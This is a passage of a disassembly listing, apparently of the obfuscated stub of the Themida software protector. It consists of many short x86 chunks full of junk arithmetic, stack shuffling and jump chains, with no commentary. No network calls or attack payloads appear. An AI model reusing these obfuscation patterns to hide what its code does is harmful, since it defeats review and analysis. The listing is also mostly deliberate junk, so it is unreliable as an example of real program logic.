jmp loc_54C3AB
; ---------------------------------------------------------------------------
loc_54D1C3: ; CODE XREF: Themida_:0054F009j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54D1C8: ; CODE XREF: Themida_:00544FF9j
inc ebx
jmp loc_547C04
; ---------------------------------------------------------------------------
loc_54D1CE: ; CODE XREF: Themida_:005483E0j
not dword ptr [esp]
mov edx, [esp]
push ebp
push esp
pop ebp
push eax
jmp loc_54E60D
; ---------------------------------------------------------------------------
loc_54D1DD: ; CODE XREF: Themida_:0054BB1Dj
add esp, 4
jmp loc_547EFD
; ---------------------------------------------------------------------------
loc_54D1E5: ; CODE XREF: Themida_:00546A55j
pop ebx
mov edx, [esp]
jmp loc_545008
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_54D1EE: ; CODE XREF: sub_545BCC+1964j
mov ch, 34h
add bl, 0C1h
add bl, ch
jmp loc_54B95C
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_54D1FA: ; CODE XREF: Themida_:0054BD55j
pop ebx
push edi
mov edi, 26A35C9Ch
xor edi, 7E20694h
and edi, 4E697E7Dh
sub edi, 7D807FF9h
shr edi, 1
xor edi, 41606D05h
add edx, edi
pop edi
push edx
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_544B91
; ---------------------------------------------------------------------------
loc_54D22B: ; CODE XREF: Themida_:005460A2j
add ebp, 244003EBh
sub ebp, 680E7682h
jmp loc_548DA4
; ---------------------------------------------------------------------------
loc_54D23C: ; CODE XREF: Themida_:00544CACj
add esp, 4
jmp loc_5495BC
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push 3397h
jmp loc_54EEB2
; ---------------------------------------------------------------------------
loc_54D251: ; CODE XREF: Themida_:0054598Bj
push 564h
mov [esp], edi
mov edi, esp
add edi, 4
push ebx
mov ebx, 2
add edi, ebx
pop ebx
push esi
jmp loc_54C73B
; ---------------------------------------------------------------------------
loc_54D270: ; CODE XREF: Themida_:0054ABE6j
dec edi
sub edi, 93D0429h
xor esi, edi
pop edi
xor esi, 0C7BCA9D0h
add ebx, esi
jmp loc_545769
; ---------------------------------------------------------------------------
loc_54D287: ; CODE XREF: Themida_:0054DF02j
push ebp
mov ebp, esp
jmp loc_548AFC
; ---------------------------------------------------------------------------
loc_54D28F: ; CODE XREF: Themida_:0054A8A3j
mov [esp], ebp
mov ebp, 3D60507h
xor ebp, 31F40DE2h
push eax
jmp loc_5448A5
; ---------------------------------------------------------------------------
loc_54D2A3: ; CODE XREF: Themida_:0054D000j
push esi
push ebp
mov ebp, 67231E6Ch
add ebp, 3977277Bh
jmp loc_54A03E
; ---------------------------------------------------------------------------
loc_54D2B5: ; CODE XREF: Themida_:00549888j
inc ecx
or ecx, 48001117h
not ecx
push eax
mov eax, 6C2D3483h
or eax, 120A54EEh
add eax, 1
or eax, 17E60598h
shr eax, 1
not eax
xor eax, 0CFED8F70h
sub ecx, eax
pop eax
add ebx, 6AC51F52h
add ebx, ecx
sub ebx, 6AC51F52h
pop ecx
sub esp, 4
mov [esp], ebx
push 6F131AEh
jmp loc_548DEB
; ---------------------------------------------------------------------------
loc_54D2FC: ; CODE XREF: Themida_:0054D944j
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
add ebp, 4
push ecx
jmp loc_548F56
; ---------------------------------------------------------------------------
loc_54D315: ; CODE XREF: Themida_:0054758Dj
mov esp, [esp]
mov ax, [esp]
push esi
push esp
jmp loc_54EED7
; ---------------------------------------------------------------------------
loc_54D323: ; CODE XREF: Themida_:0054CC10j
push edi
mov edi, 65151DBFh
push ebx
mov ebx, 7E737AC0h
jmp loc_54D78C
; ---------------------------------------------------------------------------
loc_54D334: ; CODE XREF: Themida_:00549134j
sub ax, 5D90h
add ax, 6B58h
sub ax, bp
sub ax, 6B58h
add ax, 5D90h
pop ebp
jmp loc_54A05A
; ---------------------------------------------------------------------------
loc_54D34D: ; CODE XREF: Themida_:00545B82j
mov ecx, [esp]
add esp, 4
jmp loc_54AB9C
; ---------------------------------------------------------------------------
loc_54D358: ; CODE XREF: Themida_:0054BEDFj
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_545185
; ---------------------------------------------------------------------------
loc_54D367: ; CODE XREF: Themida_:0054D686j
pop ecx
sub esp, 4
mov [esp], edx
sub esp, 4
jmp loc_546859
; ---------------------------------------------------------------------------
loc_54D379: ; CODE XREF: Themida_:0054CA30j
mov [esp], esp
push esi
jmp loc_54521A
; ---------------------------------------------------------------------------
loc_54D382: ; CODE XREF: Themida_:0054F586j
not ebp
xor ebp, 0C839D1E3h
add ebx, 3602F82h
jmp loc_546345
; ---------------------------------------------------------------------------
loc_54D395: ; CODE XREF: Themida_:0054D952j
xor [esp+4], edx
push dword ptr [esp]
pop edx
push esi
mov esi, esp
push ecx
jmp loc_548768
; ---------------------------------------------------------------------------
loc_54D3A6: ; CODE XREF: Themida_:0054BF6Aj
sub ebx, edi
pop edi
add eax, 79CF0ACEh
add eax, ebx
push ebx
mov ebx, 143936EBh
or ebx, 66500910h
dec ebx
jmp loc_54B928
; ---------------------------------------------------------------------------
loc_54D3C2: ; CODE XREF: Themida_:0054EEADj
add esi, 0C8B2AD2Ch
mov edi, esi
pop esi
push edx
mov edx, 757757D7h
xor edi, edx
mov edx, [esp]
add esp, 4
jmp loc_54AB3E
; ---------------------------------------------------------------------------
loc_54D3E1: ; CODE XREF: Themida_:00546589j
mov edx, 8428B36Dh
sub ecx, edx
jmp loc_54E468
; ---------------------------------------------------------------------------
loc_54D3ED: ; CODE XREF: Themida_:00548169j
or esi, 3FAD53A1h
or esi, 22FB6B40h
jmp loc_54E8D9
; ---------------------------------------------------------------------------
loc_54D3FE: ; CODE XREF: Themida_:00546083j
xchg edi, [esp]
pop esp
mov [esp], edi
jmp loc_54F832
; ---------------------------------------------------------------------------
loc_54D40A: ; CODE XREF: Themida_:0054BEF9j
pop ebx
jmp loc_54B820
; ---------------------------------------------------------------------------
loc_54D410: ; CODE XREF: Themida_:0054B381j
sub ebp, eax
mov eax, [esp]
jmp loc_54ADEE
; ---------------------------------------------------------------------------
loc_54D41A: ; CODE XREF: Themida_:00547A44j
push 585F5F2Bh
pop edi
push eax
jmp loc_54C602
; ---------------------------------------------------------------------------
loc_54D426: ; CODE XREF: Themida_:0054923Bj
add esp, 4
sub esi, edi
push edi
jmp loc_54AB04
; ---------------------------------------------------------------------------
loc_54D434: ; CODE XREF: Themida_:0054E742j
pop edx
sub al, ch
mov cx, [esp]
add esp, 2
mov ebx, [esp]
jmp loc_54EED1
; ---------------------------------------------------------------------------
loc_54D446: ; CODE XREF: Themida_:0054A867j
push esi
sub esp, 4
jmp loc_54A00F
; ---------------------------------------------------------------------------
loc_54D44F: ; CODE XREF: Themida_:00546D70j
mov dh, 31h
sub ch, dh
pop dx
neg ch
push ebx
mov bh, 13h
push ecx
mov ch, 16h
jmp loc_547E50
; ---------------------------------------------------------------------------
loc_54D462: ; CODE XREF: Themida_:00547EB4j
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xor bl, al
jmp loc_54A0C6
; ---------------------------------------------------------------------------
loc_54D485: ; CODE XREF: Themida_:0054B457j
pop edx
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_545B3F
; ---------------------------------------------------------------------------
loc_54D494: ; CODE XREF: Themida_:00547DF4j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
xor ecx, 6B649C1Bh
sub ebx, ecx
pop ecx
jmp loc_5445AE
; ---------------------------------------------------------------------------
loc_54D4B2: ; CODE XREF: Themida_:0054E13Cj
xor eax, 68297BD7h
dec eax
jmp loc_54F90F
; ---------------------------------------------------------------------------
loc_54D4BD: ; CODE XREF: Themida_:0054E608j
mov ebp, 5D3219A5h
add ebp, 6B0E56A9h
sub ebp, 7F5C1E58h
jmp loc_54B5B2
; ---------------------------------------------------------------------------
loc_54D4D3: ; CODE XREF: Themida_:005497BFj
neg ecx
jmp loc_54FFAA
; ---------------------------------------------------------------------------
loc_54D4DA: ; CODE XREF: Themida_:0054E59Dj
pop ebx
add ecx, 2
push ecx
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
push ebx
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
push 68D5h
mov [esp], ebx
push esp
pop ebx
jmp loc_547429
; ---------------------------------------------------------------------------
loc_54D518: ; CODE XREF: Themida_:0054AFC4j
push eax
mov al, 40h
inc al
jmp loc_54C102
; ---------------------------------------------------------------------------
loc_54D522: ; CODE XREF: Themida_:0054ED70j
xchg ebp, [esp]
jmp loc_54B2B4
; ---------------------------------------------------------------------------
loc_54D52A: ; CODE XREF: Themida_:00549051j
push esp
mov edx, [esp]
add esp, 4
push edi
push ecx
mov ecx, 3E90412h
neg ecx
sub ecx, 11113545h
shr ecx, 2
or ecx, 32BD2405h
jmp loc_545EB0
; ---------------------------------------------------------------------------
loc_54D54E: ; CODE XREF: Themida_:00546282j
and eax, ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
or edx, eax
shl edx, 1
push edx
jmp loc_54A078
; ---------------------------------------------------------------------------
loc_54D569: ; CODE XREF: Themida_:0054528Dj
inc bl
mov al, bl
jmp loc_54DF19
; ---------------------------------------------------------------------------
loc_54D572: ; CODE XREF: Themida_:0054942Dj
push 2DD7h
mov [esp], edi
push esi
mov esi, 0B0E2DE8h
jmp loc_5498F3
; ---------------------------------------------------------------------------
loc_54D585: ; CODE XREF: Themida_:0054A479j
shr ah, 4
add ah, 38h
sub esp, 4
mov [esp], ebx
jmp loc_54F858
; ---------------------------------------------------------------------------
loc_54D599: ; CODE XREF: Themida_:0054CFA5j
push ecx
mov ecx, esp
sub esp, 4
mov [esp], edx
jmp loc_54F87B
; ---------------------------------------------------------------------------
loc_54D5AA: ; CODE XREF: Themida_:0054E19Bj
mov ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
add dword ptr [esp+4], 0EA1658Ah
sub [esp+4], ebx
push esi
sub esp, 4
mov [esp], ebx
mov ebx, 55171E0Ch
mov esi, 0B98A477Eh
jmp loc_54B28B
; ---------------------------------------------------------------------------
loc_54D5D5: ; CODE XREF: Themida_:00549BA4j
sub ebx, 27C335B5h
push ebp
mov ebp, 7475756Ch
push 1F6Eh
mov [esp], edi
mov edi, 4D1A2352h
xor edi, 3AA96BE7h
neg edi
xor edi, 95EBA953h
add ebx, edi
jmp loc_54F1B1
; ---------------------------------------------------------------------------
loc_54D603: ; CODE XREF: Themida_:005493ACj
shr ecx, 0Bh
push 14E4h
mov [esp], ebx
push ebp
mov ebp, 7C053457h
sub [esp+4], ebp
pop ebp
mov eax, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_5476C5
; ---------------------------------------------------------------------------
loc_54D62A: ; CODE XREF: Themida_:0054B4FCj
push ecx
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
jmp loc_545FAF
; ---------------------------------------------------------------------------
loc_54D63D: ; CODE XREF: Themida_:0054E965j
mov edi, edx
jmp loc_5470B5
; ---------------------------------------------------------------------------
loc_54D644: ; CODE XREF: Themida_:0054A160j
inc ebp
add ebp, 5D02F9F4h
push eax
mov eax, ebp
mov edx, eax
pop eax
pop ebp
jmp loc_547950
; ---------------------------------------------------------------------------
loc_54D657: ; CODE XREF: Themida_:00545DD5j
add ebp, 4
jmp loc_54D8CC
; ---------------------------------------------------------------------------
loc_54D662: ; CODE XREF: Themida_:00549C8Dj
mov ecx, [esp]
add esp, 4
pop ebx
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54D66E: ; CODE XREF: Themida_:0054AD1Cj
add ecx, 439A5ED6h
jmp loc_54DE14
; ---------------------------------------------------------------------------
loc_54D679: ; CODE XREF: Themida_:0054F396j
and [esp], ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_54D367
; ---------------------------------------------------------------------------
loc_54D68B: ; CODE XREF: Themida_:0054D173j
push ebp
mov ebp, 0F621B4Ch
or ebp, 33895E68h
jmp loc_54B70D
; ---------------------------------------------------------------------------
loc_54D69C: ; CODE XREF: Themida_:0054B2DFj
push 4CB8h
jmp loc_5469F8
; ---------------------------------------------------------------------------
loc_54D6A6: ; CODE XREF: Themida_:00549F92j
sub eax, esi
pop esi
jmp loc_54C654
; ---------------------------------------------------------------------------
loc_54D6AE: ; CODE XREF: Themida_:0055001Cj
pop esp
and eax, esi
jmp loc_54ACD6
; ---------------------------------------------------------------------------
loc_54D6B6: ; CODE XREF: Themida_:005444AFj
sub esp, 4
mov [esp], ecx
push esp
push dword ptr [esp]
pop ecx
jmp loc_5490B9
; ---------------------------------------------------------------------------
loc_54D6C9: ; CODE XREF: Themida_:0054C13Cj
mov [esp], ebp
mov ebp, esp
push eax
mov eax, 4
add ebp, eax
pop eax
push eax
push 70BFh
mov [esp], esi
jmp loc_54B905
; ---------------------------------------------------------------------------
loc_54D6E5: ; CODE XREF: Themida_:00544DF9j
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54D6F6: ; CODE XREF: Themida_:00544119j
push 2CA27580h
pop esi
and edi, esi
push dword ptr [esp]
pop esi
jmp loc_54CE1D
; ---------------------------------------------------------------------------
loc_54D707: ; CODE XREF: Themida_:005469B0j
add edi, ebx
pop ebx
add edi, 4
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], ebp
push edx
mov edx, 689734B5h
neg edx
or edx, 354C488Bh
xor edx, 6F1F02F0h
and edx, 686348B2h
jmp loc_549CB1
; ---------------------------------------------------------------------------
loc_54D742: ; CODE XREF: Themida_:0054BC05j
xor ebx, 5E8F6D19h
push ecx
jmp loc_54E440
; ---------------------------------------------------------------------------
loc_54D74E: ; CODE XREF: Themida_:005449DBj
push ebp
mov ebp, 380865D1h
jmp loc_54778F
; ---------------------------------------------------------------------------
loc_54D759: ; CODE XREF: Themida_:0054E620j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
xchg eax, edx
jmp loc_549DEA
; ---------------------------------------------------------------------------
loc_54D769: ; CODE XREF: Themida_:0054E5B2j
and eax, 3A885CFAh
push ecx
mov ecx, 20B850DDh
jmp loc_54B861
; ---------------------------------------------------------------------------
loc_54D779: ; CODE XREF: Themida_:0054F618j
add ch, 0A6h
xor al, ch
mov ecx, [esp]
add esp, 4
sub bl, 0EEh
jmp loc_544A63
; ---------------------------------------------------------------------------
loc_54D78C: ; CODE XREF: Themida_:0054D32Fj
sub ebx, 793D02BEh
and ebx, 4CF2162Ch
dec ebx
sub ebx, 58157305h
jmp loc_549AE9
; ---------------------------------------------------------------------------
loc_54D7A4: ; CODE XREF: Themida_:00548E34j
not edx
xor edx, 61C207E3h
not edx
jmp loc_54F982
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
jmp loc_548723
; ---------------------------------------------------------------------------
loc_54D7BC: ; CODE XREF: Themida_:00545BA5j
pop ebp
jmp loc_54A2A0
; ---------------------------------------------------------------------------
loc_54D7C2: ; CODE XREF: Themida_:005482A4j
and edx, ecx
jmp loc_54D19B
; ---------------------------------------------------------------------------
loc_54D7C9: ; CODE XREF: Themida_:005477A5j
mov esp, [esp]
jmp loc_546541
; ---------------------------------------------------------------------------
loc_54D7D1: ; CODE XREF: Themida_:0054B2C6j
mov [esp], ecx
mov ecx, 4
mov edx, ecx
pop ecx
add edi, edx
mov edx, [esp]
add esp, 4
jmp loc_547468
; ---------------------------------------------------------------------------
loc_54D7E9: ; CODE XREF: Themida_:00545A92j
xor [ecx], esi
pop ecx
jmp loc_54CC32
; ---------------------------------------------------------------------------
loc_54D7F1: ; CODE XREF: Themida_:0054E289j
xor ebp, [esp]
pop esp
mov [esp], edx
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54D7FD: ; CODE XREF: Themida_:0054B87Aj
add [esp], al
pushf
jmp loc_54FBE1
; ---------------------------------------------------------------------------
loc_54D806: ; CODE XREF: Themida_:0054EA2Dj
shl ebp, 5
xor ebp, 9A53756h
add edi, ebp
jmp loc_54CE29
; ---------------------------------------------------------------------------
loc_54D816: ; CODE XREF: Themida_:00547684j
mov esi, ecx
pop ecx
sub edi, 54437A4h
jmp loc_545935
; ---------------------------------------------------------------------------
loc_54D824: ; CODE XREF: Themida_:0054D045j
push 4F42h
mov [esp], edi
push esp
pop edi
jmp loc_5492FC
; ---------------------------------------------------------------------------
loc_54D833: ; CODE XREF: Themida_:0054AD4Aj
mov ecx, 4
mov ebx, ecx
pop ecx
sub ebp, 72B21804h
add ebp, ebx
add ebp, 72B21804h
mov ebx, [esp]
add esp, 4
push edi
mov edi, 4
add ebp, edi
pop edi
xchg ebp, [esp]
mov esp, [esp]
movsx ecx, ax
push 5C2Eh
jmp loc_5469B5
; ---------------------------------------------------------------------------
loc_54D86E: ; CODE XREF: Themida_:0054C763j
push dword ptr [esp]
pop edi
jmp loc_545BD9
; ---------------------------------------------------------------------------
loc_54D877: ; CODE XREF: Themida_:00548EBAj
pop eax
add edx, ebx
add edx, 56C952BBh
pop ebx
sub esp, 4
jmp loc_54B10E
; ---------------------------------------------------------------------------
loc_54D88C: ; CODE XREF: Themida_:0054FFB9j
push edx
mov edx, 7D5362Fh
sub edx, 7D5362Bh
add ebx, edx
jmp loc_54EAFF
; ---------------------------------------------------------------------------
loc_54D89F: ; CODE XREF: Themida_:00549B92j
mov eax, 344A5051h
jmp loc_54FE3B
; ---------------------------------------------------------------------------
loc_54D8A9: ; CODE XREF: Themida_:00547500j
and eax, 0F431AA3h
xor eax, 6CD6591Bh
sub eax, 34ACEEB9h
mov edi, eax
pop eax
mov eax, 353DDD78h
jmp loc_5477AA
; ---------------------------------------------------------------------------
loc_54D8C5: ; CODE XREF: Themida_:005467ECj
add esi, edx
jmp loc_549238
; ---------------------------------------------------------------------------
loc_54D8CC: ; CODE XREF: Themida_:0054D65Dj
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
jmp loc_547F2B
; ---------------------------------------------------------------------------
loc_54D8DB: ; CODE XREF: Themida_:0054593Ej
sub edi, 0D7602526h
push ebx
mov ebx, edi
push 71B0h
mov [esp], ebx
pop ecx
jmp loc_54ADF9
; ---------------------------------------------------------------------------
loc_54D8F2: ; CODE XREF: Themida_:005471B4j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
mov ebx, eax
jmp loc_547CA0
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54D917: ; CODE XREF: Themida_:0054DC7Dj
pop ebp
add eax, 4
xchg eax, [esp]
pop esp
push 2A85h
mov [esp], ebx
push 118F76C6h
mov ebx, [esp]
jmp loc_54F59D
; ---------------------------------------------------------------------------
loc_54D934: ; CODE XREF: Themida_:005500CEj
sub edi, ecx
pop ecx
jmp loc_54492C
; ---------------------------------------------------------------------------
mov eax, [esp]
push 3C90h
jmp loc_54D2FC
; ---------------------------------------------------------------------------
loc_54D949: ; CODE XREF: Themida_:00544175j
mov [esp], edx
push 2783738Dh
pop edx
jmp loc_54D395
; ---------------------------------------------------------------------------
loc_54D957: ; CODE XREF: Themida_:00549930j
pop ebx
add eax, 2
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_54BF1F
; ---------------------------------------------------------------------------
lodsb
push bx
jmp loc_545458
; ---------------------------------------------------------------------------
loc_54D973: ; CODE XREF: Themida_:0054A12Cj
add esp, 4
add edi, 4
jmp loc_5468AC
; ---------------------------------------------------------------------------
loc_54D984: ; CODE XREF: Themida_:00545D0Ej
push ebx
jmp loc_5499E7
; ---------------------------------------------------------------------------
loc_54D98A: ; CODE XREF: Themida_:0054E23Bj
add edi, 0FFFFFFFFh
or edi, 78127635h
push esi
mov esi, 673223BFh
not esi
shr esi, 4
shl esi, 4
shl esi, 5
or esi, 78F8054Dh
xor esi, 7CF6848Ch
add edi, esi
jmp loc_546825
; ---------------------------------------------------------------------------
loc_54D9BA: ; CODE XREF: Themida_:0054821Cj
mov ebp, [esp]
jmp loc_54C9A4
; ---------------------------------------------------------------------------
loc_54D9C2: ; CODE XREF: Themida_:0054AB39j
pop ebx
push edi
mov edi, 9FE29DFh
jmp loc_54BD95
; ---------------------------------------------------------------------------
loc_54D9CE: ; CODE XREF: Themida_:005485D4j
pop ebp
pop ebp
add ebx, edi
jmp loc_546B93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_54D9D7: ; CODE XREF: sub_545BCC+4E83j
xchg edx, [esp+2+var_4+2]
pop esp
mov [esp+0], ecx
mov ch, 0A8h
push bx
mov bl, 40h
jmp loc_5446FA
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_54D9E9: ; CODE XREF: Themida_:0054A7FFj
add ebp, edi
add ebp, 14273FA1h
pop edi
xchg ebp, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_544EFF
; ---------------------------------------------------------------------------
loc_54DA01: ; CODE XREF: Themida_:0054B716j
xor edx, 4467446Bh
dec edx
add edx, 14607D65h
inc edx
xor edx, 2FA0007Bh
xor edx, 0AFD3B385h
add ebp, edx
pop edx
push ebx
push eax
jmp loc_54F19E
; ---------------------------------------------------------------------------
loc_54DA25: ; CODE XREF: Themida_:0054DA3Bj
add bh, 0AAh
add cl, bh
pop ebx
sub bh, cl
pop ecx
add dl, bh
jmp loc_54853F
; ---------------------------------------------------------------------------
loc_54DA35: ; CODE XREF: Themida_:005450AEj
push ebx
mov bh, 0DDh
add bh, 0EDh
jmp loc_54DA25
; ---------------------------------------------------------------------------
loc_54DA40: ; CODE XREF: Themida_:0054BBEBj
or esi, 62077876h
add esi, 243F0715h
jmp loc_544ADA
; ---------------------------------------------------------------------------
loc_54DA51: ; CODE XREF: Themida_:00545AA1j
mov [esp], ebx
jmp loc_54AFC0
; ---------------------------------------------------------------------------
loc_54DA59: ; CODE XREF: Themida_:0054E75Cj
mov edx, 4
add ecx, edx
jmp loc_548ADB
; ---------------------------------------------------------------------------
loc_54DA65: ; CODE XREF: Themida_:00548CE9j
sub ebp, 1
jmp loc_54FD8B
; ---------------------------------------------------------------------------
loc_54DA6D: ; CODE XREF: Themida_:00544BEBj
xchg ebp, [esp]
pop esp
jmp loc_548C3E
; ---------------------------------------------------------------------------
loc_54DA76: ; CODE XREF: Themida_:00545745j
add ebp, 39C9724Eh
pop ecx
mov ebx, [esp]
add esp, 4
jmp loc_550021
; ---------------------------------------------------------------------------
loc_54DA8B: ; CODE XREF: Themida_:005489CDj
pop edx
jmp loc_54CD6B
; ---------------------------------------------------------------------------
loc_54DA91: ; CODE XREF: Themida_:0054651Aj
dec bl
not bl
sub bl, 79h
sub cl, bl
jmp loc_547742
; ---------------------------------------------------------------------------
loc_54DA9F: ; CODE XREF: Themida_:00547B9Ej
add ecx, 0EDA60CE4h
jmp loc_549139
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push ebx
push small 75ECh
jmp loc_54E9D4
; ---------------------------------------------------------------------------
loc_54DAB7: ; CODE XREF: Themida_:00547CF6j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_54B21D
; ---------------------------------------------------------------------------
loc_54DACB: ; CODE XREF: Themida_:00545944j
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push ebp
mov ebp, 529F1825h
add ebp, 0EABC0548h
add edx, ebp
pop ebp
add edx, eax
push ebp
mov ebp, 3D5B1D6Dh
sub edx, ebp
pop ebp
push 2102h
mov [esp], eax
mov eax, 0
jmp loc_548D22
; ---------------------------------------------------------------------------
loc_54DB00: ; CODE XREF: Themida_:00545FA4j
push esi
mov esi, 4
add ebp, esi
jmp loc_54C32A
; ---------------------------------------------------------------------------
loc_54DB0D: ; CODE XREF: Themida_:005454E9j
push 7623h
jmp loc_54BFA6
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
jmp loc_54C7A1
; ---------------------------------------------------------------------------
loc_54DB30: ; CODE XREF: Themida_:0054766Cj
add bx, 63EEh
sub esp, 4
jmp loc_54DD81
; ---------------------------------------------------------------------------
loc_54DB3D: ; CODE XREF: Themida_:00546F51j
add edi, eax
jmp loc_5446C0
; ---------------------------------------------------------------------------
loc_54DB44: ; CODE XREF: Themida_:loc_544F41j
add dword ptr [esp], 4
mov esi, [esp]
push esi
mov esi, esp
jmp loc_549458
; ---------------------------------------------------------------------------
loc_54DB53: ; CODE XREF: Themida_:00544748j
pop dword ptr [esp]
jmp loc_54A316
; ---------------------------------------------------------------------------
loc_54DB5B: ; CODE XREF: Themida_:0054B1C5j
mov bp, 2CA5h
jmp loc_54F247
; ---------------------------------------------------------------------------
loc_54DB64: ; CODE XREF: Themida_:0054C28Fj
mov [esp+4], bh
jmp loc_547349
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], esp
push ebx
mov ebx, 4
push eax
mov eax, 678351B6h
add [esp+8], eax
pop eax
add [esp+4], ebx
push edi
push ebx
push 66FE074Eh
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ebx, 7F681791h
push edx
jmp loc_548181
; ---------------------------------------------------------------------------
loc_54DBB1: ; CODE XREF: Themida_:0054BA25j
sub edi, 36C0BF94h
add eax, edi
pop edi
jmp loc_548DFE
; ---------------------------------------------------------------------------
loc_54DBBF: ; CODE XREF: Themida_:00547C9Bj
pop esi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov cx, [esp]
push ecx
push esp
jmp loc_545E70
; ---------------------------------------------------------------------------
loc_54DBD7: ; CODE XREF: Themida_:0054E933j
sub esi, edx
pop edx
push esi
sub dword ptr [esp], 467C22AAh
pop edx
add edx, 467C22AAh
mov esi, [esp]
add esp, 4
sub edx, 0E42E75h
jmp loc_547322
; ---------------------------------------------------------------------------
loc_54DBFD: ; CODE XREF: Themida_:005465ADj
sub esi, edx
sub esi, 66587CF3h
pop edx
and eax, esi
push dword ptr [esp]
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_54C5F3
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
push ebx
push esp
pop ebx
push ecx
push eax
push ecx
mov ecx, 9AE78D1h
dec ecx
jmp loc_5472C4
; ---------------------------------------------------------------------------
loc_54DC33: ; CODE XREF: Themida_:0054AF0Ej
xor eax, ebp
pop ebp
mov ebx, eax
pop eax
push ebx
jmp loc_54A8B3
; ---------------------------------------------------------------------------
loc_54DC3F: ; CODE XREF: Themida_:0054F2A4j
inc esi
jmp loc_548830
; ---------------------------------------------------------------------------
loc_54DC45: ; CODE XREF: Themida_:005488FCj
mov edx, [esp]
jmp loc_5472E3
; ---------------------------------------------------------------------------
loc_54DC4D: ; CODE XREF: Themida_:0054CD2Ej
xor edi, 60E86EB9h
xor edi, 4E5A0F2Ah
add edx, edi
pop edi
add edx, ebp
sub edx, 76ED3EBFh
pop ebp
jmp loc_54E1D0
; ---------------------------------------------------------------------------
loc_54DC6A: ; CODE XREF: Themida_:0054953Ej
mov edi, 487367B1h
sub ebx, edi
pop edi
mov eax, [esp]
jmp loc_5455F8
; ---------------------------------------------------------------------------
loc_54DC7A: ; CODE XREF: Themida_:00544B8Cj
add eax, ecx
pop ecx
jmp loc_54D917
; ---------------------------------------------------------------------------
loc_54DC82: ; CODE XREF: Themida_:0054567Cj
add esp, 4
jmp loc_54F5BD
; ---------------------------------------------------------------------------
loc_54DC8D: ; CODE XREF: Themida_:0054E70Dj
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_545508
; ---------------------------------------------------------------------------
loc_54DCA0: ; CODE XREF: Themida_:005442F5j
sub bl, al
push dx
push 12EEh
mov [esp], eax
mov ah, 0A6h
mov dh, ah
mov eax, [esp]
push edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
pop ebx
jmp loc_546D1A
; ---------------------------------------------------------------------------
loc_54DCD2: ; CODE XREF: Themida_:00546FC6j
mov edx, 421731A2h
add ebx, edx
pop edx
add ebx, edi
sub ebx, 421731A2h
push dword ptr [esp]
pop edi
add esp, 4
push eax
jmp loc_54852F
; ---------------------------------------------------------------------------
loc_54DCEF: ; CODE XREF: Themida_:0054F853j
pop edi
jmp loc_54BFCB
; ---------------------------------------------------------------------------
loc_54DCF5: ; CODE XREF: Themida_:00546FE9j
pop ebx
add ebx, 4
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_54CBC8
; ---------------------------------------------------------------------------
loc_54DD0D: ; CODE XREF: Themida_:0054BBACj
push ecx
mov ecx, 3FE81EABh
add ecx, 0CAADCFADh
jmp loc_54850B
; ---------------------------------------------------------------------------
loc_54DD1E: ; CODE XREF: Themida_:0054B0D7j
sub edx, 2
xchg edx, [esp]
pop esp
mov [esp], cx
jmp loc_54B1B1
; ---------------------------------------------------------------------------
loc_54DD2E: ; CODE XREF: Themida_:005476EFj
sub esp, 4
mov [esp], esi
mov esi, 0FFFFFFFFh
push ebx
mov ebx, 79701617h
add edx, ebx
pop ebx
sub edx, esi
sub edx, 79701617h
pop esi
xor [edi+24h], edx
xor edx, [edi+24h]
push eax
jmp loc_547BD6
; ---------------------------------------------------------------------------
